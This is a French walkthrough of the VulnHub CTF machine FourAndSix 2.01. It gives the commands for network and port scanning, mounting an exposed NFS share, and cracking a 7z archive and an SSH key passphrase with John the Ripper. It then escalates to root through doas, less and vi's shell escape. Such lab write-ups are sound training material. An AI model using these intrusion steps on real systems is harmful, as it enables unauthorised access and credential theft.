Aujourd’hui, nous allons nous attaquer au CTF FourAndSix: 2.01 que vous trouverez à cette adresse :
https://www.vulnhub.com/entry/fourandsix-201,266/
Pour rappel, on a généralement 4 phases dans un CTF :
- Reconnaissance
- Enumération
- Exploitation
- Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.65 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.65
Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)
L’utilisation de nmap nous remonte 4 ports ouverts. Pas de site internet, un port 22 qui servira certainement à une connexion par la suite. On va donc s’occuper des autres ports. On voit qu’on a peut-être un point de montage nfs.
showmount -e 192.168.1.65
mkdir fourandsix
sudo mount -t nfs 192.168.1.65:/home/user/storage fourandsix
cd fourandsix
ls
On obtient une archive, voyons ce qu’il y a dedans :
7z l backup.7z
Exploitation :
Malheureusement, il n’est pas possible de le décompresser (protection par mot de passe). Heureusement, JohnTheRipper dispose d’un outil pour les archives 7z :
/usr/share/john/7z2john.pl backup.7z > backup.7z.hash
On va tenter le bruteforce à partir du fichier rockyou.txt
john -w:/usr/share/wordlists/rockyou.txt backup.7z.hash
On peut donc maintenant décompresser l’archive
7z e backup.7z
Voici un peu ce que l’on a pour se connecter en ssh
cat id_rsa.pub
ssh -i id_rsa user@192.168.1.65
C’est parti pour un nouveau bruteforce
/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john -w:/usr/share/wordlists/rockyou.txt id_rsa.hash
Nous pouvons maintenant nous connecter :
ssh -i id_rsa user@192.168.1.65
Escalade de privilèges :
find / -perm –u=s –type f 2>/dev/null
Dernière étape, on va chercher à exploiter le programme doas. On va pouvoir lancer la commande less via doas avec les droits root. Pourquoi less ? Et bien parce qu’il permet avec la touche « v » de basculer sur vi et là, c’est un grand classique car « vi » permet de lancer un shell via « :!sh »
Et bien voilà, on a trouvé le flag !